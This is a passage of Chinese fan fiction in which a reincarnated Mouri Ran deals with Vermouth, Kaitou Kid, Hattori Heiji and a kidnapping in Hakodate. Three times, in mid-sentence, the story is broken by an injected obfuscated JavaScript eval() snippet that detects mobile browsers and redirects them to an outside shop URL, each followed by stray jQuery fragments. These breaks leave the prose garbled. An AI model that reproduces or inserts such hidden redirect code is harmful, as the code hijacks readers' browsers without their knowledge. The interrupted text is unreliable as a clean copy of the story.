我无语地望向自家青梅竹马,后者回复给我一个单纯无辜的微笑。
我又瞪了他一眼,才开口解释道:“我跟这家伙只是纯粹的青梅竹马,嘛、虽然我也觉得圣先生只是随口一问,但我还是认真说明一下,我们彼此都有喜欢的人了,圣先生不是我想要结婚的类型。”
司机先生一时失语:“结婚……不愧是名侦探,兰小姐给我的感觉完全不像是高中生。”
“我就当作是夸奖了。”
“这当然是夸奖。”福城圣笑起来,声音越发温柔,“如果没有兰小姐的帮助,我和父亲可能终其一生也无法找到「宝藏」。”
我摇了摇头:“我只是给出了范围而已,如果没有你和良卫先生几个月的辛苦努力,是不可能找到的。”
没有借助阿笠博士的核心科技来做具体定位,我只能凭借回忆、大致指出藏匿宝藏的区域是在某个海拔高度以上、入口朝向五棱郭公园的方向。所以我才会比案件的时间提前好几年就寄信给他家,给他们足够的时间去寻遍函馆山。
从后视镜里,我看见福城圣露出笑容:“谢谢,兰小姐。”
“你和良卫先生已经向我道谢过很多次,这次你们为我们提供免费食宿,就算是谢礼了。”
“……谢谢。”
“都说不用谢啦。”
原本来到这个世界、作为毛利兰诞生,于我而言已经足够幸运。可即便已经足够满足于现状,我还是无法抗拒这样诚挚的谢意,它能让我更加切实地感到幸福。
“对了,兰小姐。”福城圣忽然又问,“关于你以前曾经提过的「某位继承者」,过去在「宝藏」旁留下纪念品的人是怪盗基德,你的意思难道是说,最近开始出没的怪盗基德,与八年前突然销声匿迹的怪盗基德,并不是同一人、而是师徒或父子的关系吗?”
……是我失言了。
真抱歉快斗君,我不是合格的谜语人……虽然只凭这点信息也查不出什么。
“这个嘛……”我搓了搓下巴,眼睛眯起狡黠的弧度,“——那种事情谁知道呢?”
·
怪盗基德的预告函在第二天送达斧江财团,说是要在零点盗取对方收藏品中的两振胁差。
我得知消息只比中森警官晚几分钟——因为我在搜查二科也有几个信赖我的能力的「高木老弟」。
不过在中森警官到来之前,我们过去也没意思,就跟我的青梅竹马一起,在福城圣这个本地人的带领下,去五陵郭公园逛了逛。
下午又去悠悠闲闲地坐缆车上了函馆山,上山的路上、仰头望着缆车轨道的钢索,我不由得感慨——虽然我有在练习滑板,但对于以缆车轨道为滑板轨道,仍旧没有丝毫自信。
果然我还差得远呢,今年暑假我还是得去夏威夷继续深造。
傍晚时分,福城圣将我们送至斧江财团的别墅,这里的外围已经被警视厅来的搜查二科刑警们团团围住,看他们严防死守的样子,也知道中森警官下了死命令不让任何无关者进入。
我正在犹豫着应该给哪个小弟打电话,让对方来门口接我一下的时候,就见前边后边各有一个人靠近。
新一看的是后边,很快辨别出来人是谁:“那是服部平次吧?还推着摩托车。”
现在的时间点,怪盗基德和服部平次应该还没有差点接吻那么深的仇怨,但服部还是搁置剑道大会来了这里。这么看来,怪盗基德的魅力,没有任何侦探可以抵挡。
而前边正在接近的人……竟然是中森警官本人?
我跟中森警官打交道并不多,毕竟我协助的案件中、命案占比更重。上次见到面,还是我在直升机上举着枪,他在我的射程范围内的时候。
因而,实际见到他、我其实是有那么一丝丝心虚的。
结果他二话不说,就让门口的警察将我们放了进来,连带着晚到几步的服部平次一起。
这个操作非常耐人寻味,像极了是有人假扮的——可在我的记忆中,会变装的怪盗基德会在临近零点的时候,以来取需要修复的挂轴的工作人员的身份入侵。再说他根本没必要在中森警官本人在现场自由活动的时候,冒着危险装扮成他,还把我这个敌人放进来。
是我多心了吗?还是说……
“毛利,我看到了你向怪盗基德发出宣言的新闻,我猜你就会来这里。”服部平次打断了我的思绪,关西少年满眼都是灼热的战意,“这次我可不会输给你。”
……离谱了,这人竟然不是被怪盗基德、而是被我引来的。我是应该让他再度品尝败北的耻辱,还是意思意思放点水、让他赢一局?
我挑了挑眉:“你是哪位?”
“!!!你不记得我了?不对、你难道完全没有听说过我?怎么说我也是上过几次报纸和电视的——”
“开玩笑的。”我打断他的话,愉快地笑起来,“好久不见,服部君,你一个人?上次跟你一起的女孩呢?”
“和叶在酒店。”
我眨了眨眼睛,与新一对视一眼:“我还以为她是你的女朋友或者助手,既然你们一起来了函馆,怎么不一起过来?”
而黑皮少年针对关键词「女朋友」、立刻炸毛地否认起来:“和叶才不是我的女朋友!只是从小就认识的青梅竹马而已。”
他忽略了我对「助手」的猜测,只着重强调了「青梅竹马」这个词,接着又为把「青梅竹马」独自丢在酒店补充依据:“再说我又不是过来玩的,怪盗基德可是危险的国际罪犯。”
“诶 ——服部君没有自信保护好和叶小姐吗?明明是剑道领域最有名的高中生之一来着?”我微微扬了扬头,示意新一的方向,“我这位在空手道领域中、最有名的高中生之一的青梅竹马,可是有足够的信心保护好我的。”
“喂喂……”
与同龄人斗嘴的愉快氛围忽然被前头带路的中森警官打破,他回身示意我身旁的两名少年:“你们两个先去仓库,沿着这条路直走到尽头下楼梯。”接着又转向我,示意我转向旁边的走廊,“毛利小姐,请你跟我来这边。”
我和新一的脚步同时停住,在案件现场、我俩极少有分开行动的时候,但中森警官接下来给出的理由,确实让我很难拒绝——
“有关上次在江古田市、松田在直升飞机上擅自开枪的事,我有事情需要向你确认。”
……唉。
这要么是背景调查做的不够彻底、此刻不小心聊爆,要么就是刻意露出破绽、想让我放松大意,反正面前这个想跟我独处的人,不可能是真正的中森警官——毕竟松田在案件隔天就向我吐槽了他因为「擅自开枪」而被罚写的三页反思报告,那件事早已经结束了。
但无论是哪种情况,我会做出的选择都只有一个。
“知道啦,中森警官。那服部君、我就让你抢跑几分钟,你可一定要抢在我之前,找到怪盗基德的入侵线路。”
而轻易就能被点燃斗志的少年侦探、抬手将帽檐转到了脑后:“这次绝对会赢过你。”
我与新一对视一眼,一切尽在不言中。
·
新增了检测窃听装置功能的麻醉手表已经工作过一轮,确认「中森警官」身上并没有被动向外部传递消息的小玩意。
而我的小玩意、侦探
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534354|140439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
徽章已经打开并调为静音,距离我不远、时刻警戒着的新一可以轻易监听全部对话,那边的声音却不会传至我这里、引起没必要的注意。
在空无一人的走廊尽头,「中森警官」终于停下了脚步,他站在窗前、望着逐渐降临的夜幕下、仍被警方封锁着的别墅大门,似乎已经意识到我识破了自己的身份。
于是我主动开口问道:“你是谁?”
当前片场里拥有高超易.容技术的人共计四名,黑羽父子、有希子、贝尔摩德。有希子身在美国可以直接排除,黑羽快斗的可能性也很低,那么大概率、就是在原作里也参与进此次事件中的黑羽盗一。
可对方并没有回答我的问题,他仍旧望着窗外,只留给我一个背影,像是自言自语似的、缓缓开口——
“「星」、「樱」、「兼定」。”
我猛地屏住了呼吸。
这是我写在《江户川少年事件簿》里的关键词——且正是为了收纳「百万美元的五棱星」的记忆而设定的!
而我身前的人,又继续说了下去:“「星」是指星形的五陵郭公园,「樱」是指现在的时节,而「兼定」,是指土方岁三的爱刀、和泉守兼定。”
……确实是这样。
话音落下后,整个走廊里寂静了足有一分钟。
一分钟之后,「中森警官」转过身来,再开口时已然换上我十分熟悉的女声:“我原本以为,「江户川少年」是那个少年的自称。”
是小山茉美的声音,是贝尔摩德。
我深吸了一口气,大大方方地后退两步,与她拉开距离,手搭在了麻醉手表新装载的速发按钮上。
对于我毫不遮掩的警惕,窗边的人反倒露出惬意放松的笑容:“看样子,你知道我是谁,也知道「我们」是谁。”
我对她的推测不置可否:“「你们」也想要斧江家族的宝藏?”
不然我想不出她会出现在这里的其他理由——总不可能跟服部平次一样,也是为我而来的吧?服部平次那是想要赢我、我能理解,但贝尔摩德又图什么啊?
“本来是这样。”贝尔摩德也不遮掩,“但那对剑道父子不是已经找到了吗?那所谓的宝藏不过是早已被时代淘汰的旧物,而你从最开始就知道答案。”
我耸了耸肩,没有否认。
而她忽然向前迈开脚步,无视了我手中的危险武器,径直走到我面前来,伸手捧起了我的脸,目光复杂得我完全看不懂。
“——你曾看到怎样的未来?”
啊……果然会这样想吧。
比起「我们的世界其实是部漫画、你是从高维世界穿越而来」的设定,「你是到访过未来的重生者」似乎更容易令人接受。
虽然前一种也不完全对,我以前所在的世界并不是「高维」,当前的世界也不仅仅是漫画……但现在的重点不在这里。
“那个、莎朗、或者说克丽丝……”我弱弱地、艰难地开口,“能请你不要顶着中森警官的脸、做这种会被认定为性骚扰的事吗?”
·
好了,现在贝尔摩德把易.容面具卸下来了。
映着走廊不算明亮的灯光,她那头金色长发从后脑倾泻而下的时候,我感觉自己的心肺功能都要因这份美丽而停止了。
遗憾的是她没再伸手捧我的脸,而是像先前的我一样,主动后退几步拉开了距离。
“首先回答你的问题,”我半真半假地开口道,“我并没有看到过多少未来,还记得的全都记在那本《事件簿》里,我上次死的时候还没有成年。”
对面的女人表情微变,不知是想到了什么。
“其次如果你不赶时间的话,可以去见一下我的青梅竹马、跟他打个招呼吗?”我诚心诚意地拜托道,“自从去年、他听说你被逮捕之后,就茶饭不思、夜不能寐,上学期的期末考试,倒退了足有二十名。”
虽然但是,我能猜到听到我这段话的、我青梅竹马此刻的表情。
可惜她没有理会我对青梅竹马的诚挚心意,而是又问我:“「爱尔兰」、「库拉索」、「宾加」,这是什么意思?”
这也是一组关键词,代表着三部有组织出没的剧场版,昭示着琴酒是如何从人狠话不多的大魔头、一步一步进化成炸.弹引爆器都踩不碎的冤大头。
我做了个摊手的动作:“我不觉得你会相信我的答案。”
“你难道要说,他们都是NOC?”
“不是啊,不是卧底、也不会被认定为卧底。”我沉重地摇了摇头,“性格经历各不相同,只是殊途同归而已。”
指都会被琴酒小队杀死在发现某个重要真相之后。
其实时至现在,我还是不明白贝尔摩德的真正目的,但并不妨碍我主动向她示好。
她曾一度得到过《事件簿》,就像推理出「星、樱、兼定」与本次怪盗基德出动的事件有关,三年前她也可能推理出「雪女、替身、第二位」对应了哪起案件——那她极有可能就是救了我一命的藤泽朝夏老师。
“谢谢你为《事件簿》保密。”我开口向她许诺道,“下次你遇到麻烦,尽管来找我帮忙。虽然不保证能解决,但我和新一都会竭尽所能,无论对手是联调局还是克格勃。”
“组织里有克格勃?”
“你的关注点……算了,谁知道呢?”我耸耸肩,“你看伏特加,是不是很有前苏联的风情?”
18.五棱星·三
贝尔摩德跳窗走了。
我远远地望着那抹耀眼的金色从视野里消失,由衷地为没有与她碰上面的青梅竹马感到遗憾,同时幽怨一下为什么我推的波本过了一年都没有再次出现在我面前。
跟别人的推短暂二人世界算什么事啊!
越想越生气,我气呼呼地从口袋里掏出侦探徽章,解除了静音,靠在贝尔摩德跳过的窗边,向徽章那侧的青梅竹马发起联络:“她走了。”
“呜……”
“……她又不是不会再来,别太激动。你那边情况怎么样?”
“一进金库所在的房间就见到了真正的中森警官,他自始至终没有离开过这里。”新一沉沉地叹了口气,“虽然他这边很容易应付过去,但服部君肯定意识到了把你带走的是仿冒者。”
“但他没冲动地跑来找我?”
“这不是被我拦住了吗?”说着,对面的声音忽然诡异地停顿了几秒,接着不确定地向我确认道,“你是兰、没错吧?”
哈?
“不然呢?”我难道是青子吗?那情况不就成了「表哥开门,我是表嫂」?
“既然你是兰,那现在出现在我面前的兰、又是谁?”
我的嘴角狠狠一抽。
“我还想问呢。”眼前映入的身影,怎么看怎么觉得、眼熟得仿佛刚刚才分别,“既然中森警官在金库旁边,那我面前这个中森警官三号,又是谁?”
你们一个两个的是不是有点过分啊?会易.容了不起啊?
·
再次见到我的青梅竹马是在金库所在房间的入口处,我原本一溜烟冲上去、准备抓着他的手按在我被贝尔摩德摸过的那边脸上。结果凑近了定睛一看,他竟然自己捂着自己的脸,脸颊已然红成了苹果。
我费劲力气才把他的手从脸上拿开,一看他的脸颊,当即倒抽一口冷气——
“唇、唇印?!唔!!!”被新一一个飞扑捂住嘴的我挣扎了好几下,才终于挣脱出来,竭尽全力地压抑着激动的心情,也尽可能压低声音,“所以刚才那个「我」果然是——”贝尔摩德!
生怕我再叫出声的新一猛点头:“对对对!”
“啧啧,没想到她还是听了我的请求,去安抚为她的不幸遭遇而心碎的你。”我感慨地摇着头,小心脏还是因激动而扑通扑通地狂跳着,“那怎么进展成这样了?你向她告白了?”
“才没有啊!……她问我,为什么会喜欢她。”
我又抽了口气:“你怎么说?”
“……我说「a secret makes a woman woman」(秘密使女人更有女人味)。”
那是贝尔摩德的口头禅,这家伙竟然直接拿来回复本人……也怪不得会得到这样令人脸红心跳的礼物。
“真不愧是你啊~”
如果换作是我被降谷零问到这样的话,那我该怎样回答……「因为你的脸特别好看」是不是显得太肤浅了?那不然就是「因为你身兼三职、经常通宵忙得飞起、竟然还不秃不显老、让我非常憧憬」?可那样会不会让他感觉、我对他其实另有所图?
被我炽热的眼神盯得脸色越发鲜艳,新一不太自在地别过头:“你那边呢?中森警官三号是谁?”
“还能是谁,你伯父。”我把声音压得更低,“他应该听见了我跟你联络时说的话,知道我清楚他不是中森警官本人,似乎也知道我们的真正目标是那个美籍军火商,直接问我准备怎么应对。”
新一把头转了回来,脸颊上的热度似乎降下去不少:“然后呢?”
“唔,我说顺其自然,有人会去引蛇出洞,我只需要准备好背篓和钢叉等待时机就行。然后他说当心赔了夫人又折兵。”
“诶——伯父也懂兵法啊?”
“懂的应该是《三国演义》吧?”
“……啊对对对。”
我继续往下说:“然后我说我也不会只是看着,该出手的时候还是会出手,但年轻人总是轻松取胜就容易心浮气躁,需要被挫折磨砺一下。”这说的当然不是我自己、而是与我同龄的怪盗基德,“最后他说「犬子不才、承蒙关照」。”
新一沉默了几秒才开口:“……我是不是在哪里听过这句话?”
我也沉默了几秒:“说实话,我也有印象,感觉说这话的还是个男妈妈。”
·
“喂,你们在这里做什么呢?”
关西腔突然从身后传来,新一猛地抬手按在了自己的脸颊上,将贝尔摩德留下的唇印遮住。我则是回过身,对刚从房间里出来的服部平次粲然一笑:“服部君,想到什么了吗?”
结果对面的少年看我时满眼都是怀疑:“你是本人吗?”
“怎么,你要扯扯我的脸,看我是不是怪盗基德假扮的?”我的笑意更甚,接着才向他解释,“怪盗基德的身高跟新一差不多,如果不利用地形、或是在宽松的衣物下曲着腿,他就无法扮成比他矮的对象。”
但我今天穿了修身的长裤,腿有多长一目了然。
看见我身旁的新一点头赞同,服部少年才收敛起怀疑,继续问道:“刚才你跟基德说了什么?”
“诶?你说刚才那个「中森警官」?那不是怪盗基德。”我想了一下,又补充道,“她应该算是怪盗基德的同门师妹,但并不从事盗窃行业,找我是为了其他事。”
看我没准备解释清楚,服部平次也没有非要刨根问底,他更急于向我展示自己的结论:“我已经看透怪盗基德的诡计了,接下来只需要做个确认。”
我非常配合地点头:“你想的没错,他确实已经来过一次。”
服部少年当即瞪圆了眼睛:“你不仅早就看穿了他的诡计,还猜到了我的推理?”
那当然啊,这种程度的谜题他要是解不出来,那还跟我争什么高中生侦探第一名?
我没有回答他的问题,而是带头进了房间,一边走、一边扬起声音喊话中森警官:“根据服部君的推理,怪盗基德预告函中的零点,并不是指四小时之后的二十四点,而是二十个小时以前的零点。”
房间里警备中的警察们一齐回头向我们看了过来。
“安置在这个金库里的,是被怪盗基德替换的仿冒品。但零点的时候,这里的出入口戒备森严,将刀带走没有那么容易。所以他暂时将真品藏了起来,接着发出预告
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547154|140439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
函,让整栋宅邸的注意力都放在金库这里,他就能够轻松地从别处将战利品带走了。”
“这不止是我的推理,”后一步跟上来的服部少年拒绝冒功邀赏,“毛利侦探比我更早看破真相。”
……虽然知道他口中的「毛利侦探」是指我本人,但我还是觉得好怪。
……看来我的青梅竹马也觉得怪,他已经笑到捂着嘴原地蹲下了。
我抽着嘴角继续说道:“真正的刀应该被藏在长筒状的容器里,而且并不在这个安保完善的金库。”
勉为其难地叫几个下属去寻找我口中的容器的时候,中森警官看我的表情仿佛在看基德的共犯。但在成功找到并回收了差点被偷走的刀之后,他的表情就开始逐渐向我的「高木老弟们」靠拢。
安排完手下去别墅入口蹲守对于即将落入陷阱一无所知的基德,像是感觉自己欠了我一个人情的中森警官暂时关闭对讲机,向我分享信息:“跟你告诉我女儿青子的推测一样,江古田市买下了车站的钟楼。”
我应了一声表示了解。
现在房间里只剩下中森警官与我和新一,服部平次也跟着警察们跑去了大门口,虽然他可能没有系统学习或训练过跟监技巧,但现在这个时间,他肯定比警察们更容易隐于夜色。
中森警官又接着往后说:“我还听说,你推测怪盗基德是江古田市本地人?”
“那个时候、我确实那样觉得。”
“现在呢?觉得他是函馆本地人?”
“那倒没有。”我与我的青梅竹马对视一眼,“我现在只是觉得,没必要纠结他的出身是哪里。在背后做小动作没意思,当面逮住他、才是真正的打败他。”
说着,我微笑起来:“嘛,如果媒体能给我封一个「KID KILLER」(基德杀手)的称号,我会感到非常荣幸。”
·
晚上十点,我站在房顶上向什么也没偷到、还被蹲守的警察们整得相当狼狈的怪盗基德远远地挥了挥手。
在目送他又一次顺利逃走之后,我们三个不用参与善后工作的高中生们便组团离开。中森警官叫了下属开车送我们回去,但在福城家门口下车之后,我和新一却谁都没按门铃,而是复盘了一下今晚遇到贝尔摩德这起突发事件。
“……无论她的目的是什么,她明明有一整年时间、随时都可以来见我们,却偏偏选择了周围都是警察的坏时机。”我继续往下推断,“如果她只有执行任务的时候,才能趁机来见我们……”
那她在组织里的境遇,恐怕已经远没有原先那样自由。
……毕竟不再是知名女演员,而是已经变成通缉犯了嘛。
“贝尔摩德的事先放一放。”捂了一晚上的脸、现在脸颊上的唇印还清晰如新的新一说,“怪盗基德这边,接下来怎么办?”
“明天下午快斗君会去偷军火商弄到的两振刀,然后带着刀跑到港口的小船上休息。我们上午去看剑道部比赛,下午的话嘛……”我搓了搓下巴,心里冒出一点坏心思,“就去鼓励他一下好了。”
毕竟他爸爸可是用与赤井秀一相同的迷人声线,对我说了「犬子不才、承蒙关照」诶。
19.五棱星·四
天气很非常好。
我和新一到场的时候比赛还在准备阶段,会场的人并不太多。
走在我身旁的苹果头少年全程都打着呵欠,明显是昨晚没睡好。那也是当然当然的事,他可是被自推吻了脸颊。即便换成是我,也会兴奋半夜无数次回忆加回味,更别说是他。
我笑嘻嘻地给他递着话,试图让他打起精神来:“新一一看,那个人竟然跟你长得一模一样诶,会不会是你的兄弟?”
新一有气无力:“……那是冲田总司。”
“那你看那个人,也跟你长得一模一样,就是黑了点,会不会是你的——”
新一依旧有气无力:“……那是服部平次。”
“啧,还有那个人——”
“……那是黑羽快斗……噢那个真的是我的兄弟。”
只是我也没想到,昨夜大败而归的怪盗,今天竟然会出现在这里,还是以自己原本的身份。
新一停下了脚步:“去跟他打个招呼吗?”
我觉得没必要:“先不去了,他说不定会主动找上我们。”
话音刚落,却有别人先找上了我们。黑皮少年穿着剑道服,护具只穿了一半便迅速起身,快速向我们走来。
“哟,毛利。”
我默默望了一眼好像被无视的自家青梅竹马,转身看了过去:“服部君。”
隔着足有十米的距离,还隔着另一个学校的队伍,服部平次边走边向我招呼起来:“别忘了昨晚的约定。”他提醒道,“只要我拿下优胜,你就跟我回家!”
以我俩为中心,周围近十米的区域突然一片寂静。
“服部君……”我沉重地叹了口气,“你在公共场合说这种有歧义的话时,能不能把完整的背景也交待进去?”
少年停下脚步:“背景不就是你帮大阪府警解决了几件案子,我爸想以私人名义感谢你吗?”
我这才满意地点了点头:“就是这样,全部说出来就好了。”
把完整背景讲明,改方学园那边、刚才仿佛要碎掉的马尾少女就恢复原状了。
……然而我放心得还是太早了。
跟服部平次打完招呼,我们才走出去没几步,正要先跟我们学校剑道部、正在准备中的同学们打个招呼,就听见背后传来一声少女的惊叫:“平次你昨晚过了凌晨才回来、就是一直和那个女侦探在一起?”
这声音的穿透性比刚才服部平次的那声更强,我眼睁睁地看着我们学校的同学不约而同地竖起了耳朵,满眼都闪烁着八卦的光芒。
而我自始至终存在感极低的青梅竹马,幸灾乐祸地拍了拍我的肩膀。
我无语望天三秒,最终还是在煎熬的视线攻击中败下阵来,回过身大步走向改方学园的所在区域,扬起尴尬而不失礼貌的微笑。
然后堪称咬牙切齿地对远山和叶解释:“不好意思,这位单马尾的小姐。”我的心好累,“昨天跟服部君在一起的不仅仅是我,还要加上同样在场的上百名警察,和我身边这位青梅竹马。”
终于看出了我的不愉快,服部少年飞快地点头:“是这样,因为基德十点才出现,之后警方那边用了警车送我们回去。”
呵,早这么说不就好了。
“顺便一提,虽然不知道你与服部君有什么关系,但以防万一,我还是解释一下。”我继续保持微笑,“我已经有喜欢的人了,不是服部君,也不是服部君这种类型。”
单马尾的女孩愣愣地点了下头,过了几秒才向我做起自我介绍:“我是远山和叶,是平次的青梅竹马。”
与失去敌意的同龄女孩建立起友谊并不困难,等到比赛快开始、跟远山和叶告别的时候,我已经跟她交换过联系方式、对对方的称呼也从生疏的姓氏进展到了名字。
·
就像我没有料到服部平次会接连语出惊人,我也没有料到,会在北海道遇到本该在本厅加班的熟人——
离开剑道会场后不久,一辆陌生的车突然停在我们身旁,我下意识地握住手腕上的麻醉手表,而我的青梅竹马下意识地将我揽在了身后。等到车窗降下,露出的却是萩原研二满是揶揄笑意的脸。
“兰酱,新一君,好久不见,你们怎么会在这里?是为了怪盗基德吗?”
我这才放松下来:“不完全是,早在他发出预告函之前,我们就已经决定好旅行计划了。”
新一也从我身前让开,配合地继续说明:“昨晚跟怪盗基德交了手,是警方和兰的胜利。“
我问:“比起我们,萩原警官怎么会在这里?怪盗基德是搜查二科的工作,萩原警官你这位搜查一科的刑警,又是为什么而来?”
车里的年轻警官挠了挠头,大概是受限于规定,不能向我们分享细节:“嘛、其实是千早酱的私人委托。”
来自千早老师、如果是公安的委托……那说不定跟我们的目的相同。
我试探着问道:“为了某位抓不住把柄的军火商?”
“不愧是兰酱。”年轻警官笑起来,眼中闪过一道精光,“难道说、兰酱已经有计划了吗?”
“不算是计划,只是想着如果手里没有把柄、就为他创造犯罪的条件。”我耸耸肩,“正好那家伙的目标与怪盗基德相同。”
“原来是要借助那位怪盗的力量。”
“不是借助,是利用——作为回报,这一次我就大发慈悲地不逮捕他了。”
话音落下,空气中一时间充满欢快的笑声。
照着剧本操作的难度系数非常之低,更别说还有一位不怎么提问的帅气司机做协助者。在萩原研二的主动提议下,我们三人兵分两路,他带着新一去港口附近蹲基德走剧情,我则是先回福城家,跟福城良卫商量接下来的对策。
然而在十分钟后,还没打到出租车的我就因为车祸进了医院。
得益于我的反应足够灵敏,伤势并不重,仅仅是几处擦伤。
犯人是曾被我推理出身份的强盗团伙的一员,没能在当时就逮捕他们全员、留了一条漏网之鱼,米花市的警察要负全责!
而在一个小时之后,结束治疗包扎和警方的笔录问询、在医院等待我的青梅竹马走完剧情线来接我的时候,又有一批危险人物来到医院,然后凭借人数优势绑架了我。
可恶!这难道就是作为兰酱的命中注定吗!
如果不是身体条件不允许,我真的很想原地表演一个裂开。
·
关押我的地方是一栋远离城区的别墅,虽然自救的难度并没有特别高,但是在我找到机会、有所动作之前,来救我的人突然出现了。
那简直像是特工电影里的场景——
在灯光突然全数熄灭的黑暗中,有人快速来到我身边,用锋利的刀刃划断了绑缚我的麻绳,并半拖半拽地带我来到窗边,在我的惊叫声中,扛着我、撞碎玻璃、从窗口一跃而下。
破碎的玻璃并没有给我带来伤害,脚很快重新落在地面上,耳边传来一声音色熟悉的“跑起来”,紧接着,身旁的气息在几秒内消失无踪。
这一整套流程下来太过流畅丝滑,在我听从指示迈开腿、意识到自己已经重获自由的时候,手里已然只剩下跳窗的时候、因为紧张而下意识抓住、然后就此被我揪下来的一撮金色头发。
嗯……金色的头发。
对不起零君,对不起我未来的丈夫大人,我一定会负责的!
十分钟后,伴随着降临的夜幕,我坐在萩原研二的车后座,听着不远处别墅里传来的枪战的声响,不由得感慨万千。
从别墅中逃出来、没跑几步,我就遇到了赶来救人的警察队伍。被保护起来之后我才听说,在我从医院离开之后,立刻就有不知名的报警人拨打了报警电话,说是目击了绑架事件。而在不久之后,他二次打来电话,并直接指明了地点。
那个时候消息已经传到了我的青梅竹马那里,他用追踪眼镜同样确认到我的位置,然后立刻联系萩原我这边赶。
“那位救命恩人,应该是警方的人,我想、大概率是公安警察。”我向萩原研二解释道,他现在负责着记录我的口供,“报警人和突袭救出我的人都是他。”
“是这样吗?有关那个人,兰酱有注意到什么特别的事吗?”
我悄摸着摸了一把塞进口袋里的金色头发,摇了摇头:“没有,太黑了、我什么也没看见,只是大概知道是个男
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603634|140439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人,最后听他说了一句让我快跑。”
“啊、是因为刚才兰酱所说的、他破坏了电路导致电灯全部熄灭吗?”
“唔,确实是这样。”
显然那只是一方面原因。
另一方面是因为他穿着一身黑,还是个轻易就能隐匿于夜色的小黑脸。
透过后视镜,我看见年轻刑警的脸上露出庆幸的笑容:“兰酱没有再次受伤真是太好了,听说兰酱是从医院被绑架的时候,新一君可是着急得连话都说不清了。”
“因为我受伤住院的频率相当高,听说我是因为车祸入院,新一大概会觉得我被撞断了一两根骨头。”我耸耸肩,“至于没再受伤是因为我很配合嘛,那些家伙绑架我,似乎是注意到我住在福城家里,又发现我是小有名气的侦探,以为我是被福城家的良卫先生委托来调查斧江家宝藏的。一方面想要拿我来威胁良卫先生交出与宝藏有关的线索,一方面也想借助我的智慧来解谜。”
“实际上呢?”
“实际上是因为我早已经帮助良卫先生找到了宝藏,这次他才会主动招待我们。”说着我抬手比了个噤声的手势,“这件事暂时保密,等本地警方联系福城家,良卫先生自然会全部讲明。”
萩原接受了我的要求:“听起来、那「宝藏」并不是武器或是贵重的财物。”
“确实不是,放在现在,仅仅是除了放进博物馆展览以外、毫无意义的东西。”
而在寻找它的军火商,今夜就会因为绑架、监.禁、违法持枪、妨碍公务、杀人未遂等等罪名被逮捕,我不需要再利用怪盗基德来钓鱼……
“计划果真是赶不上变化啊……”
透过车窗可以看见有一辆出租车在路边停下,从车上下来一前一后下来两名少年。前者是我的青梅竹马新一,后者……看发型是他的堂弟黑羽快斗。
驾驶座上的萩原研二显然也注意到了两人高度相似的脸,扭过头兴趣盎然地问我:“新一君身后的人、难道是新一君的兄弟?可我记得新一君是独生子来着?”
“有可能是哪个远房亲戚吧。”
话说回来,黑羽快斗竟然是以本人的身份接近我们,而非伪装成同款脸但说京都腔的冲田总司,这家伙还真够大胆的。
·
……结果隔天的宝藏搜索队就变成了存在三张同款脸的四人小队。
工藤新一、服部平次、黑羽快斗,还有我。
作为其中唯一的女性、以及唯一长相跟他们不一样的存在,我发自内心地觉得我可以试着联系一下冲田总司、让他跟我换一换。反正我的青梅竹马早已知晓迷题的答案,让他带队完全没问题。
“你说、《丰玉发句集》?”服部平次疑惑地望向提出这个关键词的黑羽快斗,“那是什么?”
几分钟以前,我经由萩原研二、拿到了警方已然集齐的六振刀的照片——两振是怪盗基德在斧江家的金库盗取失败的刀,两振是昨天怪盗基德从军火商手里盗取成功、又在近战中被我的青梅竹马夺回的刀,两振则是福城良卫主动借给警方参考的刀。
当然还附着福城良卫提供的两页暗号纸。
黑羽快斗晃了下手机:“是土方岁三所著的俳句集,你在网上搜索一下?”
作为上帝视角的玩家,我和青梅竹马在破解暗号的过程中几乎没说话,但并不影响一位高智商侦探和一位高智商怪盗联合发挥实力,两个人很快就从目钉的形状、一路推理到了北海道东照宫。
到达东照宫之后,我并没有急着去询问巫女有什么被托付的秘密,而是先去参拜求了神签——结果是「小吉」。不算好也不算坏,但不是「大吉」、我就不准备带回去。
将签系在结缘架上的时候,正好收到了邮件。是千早老师发来的,内容是问我昨晚被绑架获救后,有没有提交什么物证。她说函馆警方还没有完全整理好物证和笔录,她想先向我这个当事人确认一下。
那我当然诚实地回答她「没有」。
“看来是在担心这簇头发呢。”我低声自语着,将装有头发的小透明袋塞进了刚买下来、守护姻缘的御守里。
究竟什么时候才能再见呢?我未来的丈夫大人——